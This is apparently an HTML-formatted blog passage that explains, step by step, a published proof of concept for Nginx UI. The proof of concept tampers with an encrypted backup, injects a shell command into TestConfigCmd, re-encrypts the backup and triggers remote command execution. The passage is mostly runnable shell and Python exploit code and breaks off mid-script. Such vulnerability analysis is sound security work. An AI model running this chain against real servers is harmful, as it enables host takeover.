&lt;p&gt;&lt;code&gt;TestConfigCmd&lt;/code&gt; is a configuration value that Nginx UI runs through a shell whenever someone clicks the "test nginx configuration" button. Once restore has swapped this value for a shell command of the attacker's choosing, all that's left is pressing that button.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/nginx/test"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# → {"message":"","level":-1,"test_scope":"global"}&lt;/span&gt;

docker &lt;span class="nb"&gt;exec &lt;/span&gt;nginx-ui sh &lt;span class="nt"&gt;-lc&lt;/span&gt; &lt;span class="s1"&gt;'cat /tmp/nginx-ui-restore-rce'&lt;/span&gt;
&lt;span class="c"&gt;# → restored-rce   (confirms the command actually executed in the nginx-ui runtime context)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Download the backup, tamper with it, "validly" sign the tampered copy, restore it, and click an ordinary config-test button — that's the entire path from authenticated admin access to host command execution. No password theft, no separate authentication bypass technique required. The attacker simply used the system's own official backup/restore feature, exactly as designed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Full PoC walkthrough — why each step is necessary
&lt;/h2&gt;

&lt;p&gt;The PoC published alongside the advisory consists of a shell script plus two inline Python scripts. Let's break the whole thing into blocks and map each one to the steps described above.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup — back up the original config and set variables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'http://127.0.0.1:8080'&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;valid nginx-ui JWT&amp;gt;'&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;CONTAINER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nginx-ui'&lt;/span&gt;

&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-eu&lt;/span&gt;
&lt;span class="nv"&gt;TMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;trap&lt;/span&gt; &lt;span class="s1"&gt;'rm -rf "$TMP"'&lt;/span&gt; EXIT

docker &lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CONTAINER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;:/etc/nginx-ui/app.ini &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/app.ini.original"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;BASE&lt;/code&gt;, &lt;code&gt;TOKEN&lt;/code&gt;, and &lt;code&gt;CONTAINER&lt;/code&gt; are the target server address, an already-obtained admin JWT, and the container name used for cleanup, respectively. &lt;code&gt;set -eu&lt;/code&gt; is a safety net that stops the script immediately if any command fails or an undefined variable gets used, and &lt;code&gt;trap 'rm -rf "$TMP"' EXIT&lt;/code&gt; cleans up the temp directory no matter how the script ends. Copying the original &lt;code&gt;app.ini&lt;/code&gt; with &lt;code&gt;docker cp&lt;/code&gt; beforehand is purely a PoC-only safety measure to restore the normal configuration after reproduction and verification — it's not required for the attack to succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Covering Step 1 — download the backup, extract the key from the response header
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/backup.headers"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/backup.zip"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/backup"&lt;/span&gt;

&lt;span class="nv"&gt;SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/backup.headers"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;KEY_B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SEC&lt;/span&gt;&lt;span class="p"&gt;%%&lt;/span&gt;:&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;IV_B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SEC&lt;/span&gt;&lt;span class="p"&gt;#*&lt;/span&gt;:&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;KEY_HEX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$KEY_B64&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; | xxd &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 256&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;IV_HEX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IV_B64&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; | xxd &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 256&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;curl -D&lt;/code&gt; splits the response into the body (&lt;code&gt;backup.zip&lt;/code&gt;) and headers (&lt;code&gt;backup.headers&lt;/code&gt;). &lt;code&gt;awk&lt;/code&gt; pulls out just the &lt;code&gt;X-Backup-Security&lt;/code&gt; line, and &lt;code&gt;${SEC%%:*}&lt;/code&gt; (everything before the first &lt;code&gt;:&lt;/code&gt;) and &lt;code&gt;${SEC#*:}&lt;/code&gt; (everything after it) split the &lt;code&gt;key_b64:iv_b64&lt;/code&gt; value into key and IV. Each is then base64-decoded and converted to a hex string with &lt;code&gt;xxd -p&lt;/code&gt;, preparing it for direct use by &lt;code&gt;openssl enc&lt;/code&gt; later. This block is &lt;strong&gt;Step 1&lt;/strong&gt; itself — the exact point where the server hands the encryption key back in the response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decrypt the backup to get at its contents
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/outer"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/inner"&lt;/span&gt;
unzip &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/backup.zip"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/outer"&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-K&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$KEY_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-iv&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IV_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-nosalt&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/outer/nginx-ui.zip"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-out&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/nginx-ui.clear.zip"&lt;/span&gt;
unzip &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/nginx-ui.clear.zip"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/inner"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backup is nested two layers deep. Unzipping the outer &lt;code&gt;backup.zip&lt;/code&gt; reveals &lt;code&gt;manifest.json&lt;/code&gt;, &lt;code&gt;manifest.sig&lt;/code&gt;, and an encrypted &lt;code&gt;nginx-ui.zip&lt;/code&gt;; only after decrypting that inner zip with AES-256-CBC using the key/IV just obtained can you reach the actual configuration files (the &lt;code&gt;inner/&lt;/code&gt; directory), including &lt;code&gt;app.ini&lt;/code&gt;. The &lt;code&gt;-nosalt&lt;/code&gt; option reflects that the server encrypts without a salt — the fact that an attacker can reproduce decryption and re-encryption exactly with the same option is itself one of the conditions this vulnerability depends on.&lt;/p&gt;

&lt;h3&gt;
  
  
  Covering Steps 2–3 — inject the malicious setting into &lt;code&gt;app.ini&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;$TMP/inner/app.ini&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TestConfigCmd = printf restored-rce &amp;gt;/tmp/nginx-ui-restore-rce&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;splitlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;in_nginx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;seen_nginx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;written&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;in_nginx&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;written&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
        &lt;span class="n"&gt;in_nginx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[nginx]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;seen_nginx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;seen_nginx&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;in_nginx&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;in_nginx&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TestConfigCmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;written&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;in_nginx&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;seen_nginx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[nginx]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;PY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This Python script walks the INI file line by line, looking for the &lt;code&gt;[nginx]&lt;/code&gt; section. If a &lt;code&gt;TestConfigCmd&lt;/code&gt; line already exists, it gets &lt;strong&gt;replaced&lt;/strong&gt; with the malicious command; if not, a new one gets &lt;strong&gt;inserted&lt;/strong&gt; right before the section ends (just before the next &lt;code&gt;[...]&lt;/code&gt; line); and in the extreme case where &lt;code&gt;[nginx]&lt;/code&gt; doesn't exist in the file at all, the whole section gets appended at the end. The design preserves the rest of the existing configuration as much as possible while swapping out exactly one line, so none of the other file hashes in &lt;code&gt;manifest.json&lt;/code&gt; need to change afterward. The payload itself — &lt;code&gt;printf restored-rce &amp;gt;/tmp/nginx-ui-restore-rce&lt;/code&gt; — was deliberately chosen to be harmless, letting PoC success be confirmed just by checking whether that file exists (a real attack could put any shell command here instead).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/inner"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; zip &lt;span class="nt"&gt;-qr&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/nginx-ui.modified.clear.zip"&lt;/span&gt; .&lt;span class="o"&gt;)&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-K&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$KEY_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-iv&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IV_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-nosalt&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/nginx-ui.modified.clear.zip"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-out&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/outer/nginx-ui.zip"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The modified &lt;code&gt;inner/&lt;/code&gt; directory is zipped back up and re-encrypted with &lt;strong&gt;the exact key/IV obtained from the server&lt;/strong&gt;, overwriting the original &lt;code&gt;outer/nginx-ui.zip&lt;/code&gt;. Since it was encrypted with the identical key used to decrypt it, there's no way for the server to distinguish this file, at the byte level, from "a backup correctly encrypted with that key."&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/QwTBJZZJrz0" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h3&gt;
  
  
  Recomputing the manifest and self-signing — where the flaw becomes literal code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;OUTER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;$TMP/outer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="n"&gt;KEY_B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;$KEY_B64&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;outer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OUTER&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;KEY_B64&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;manifest.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;files&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
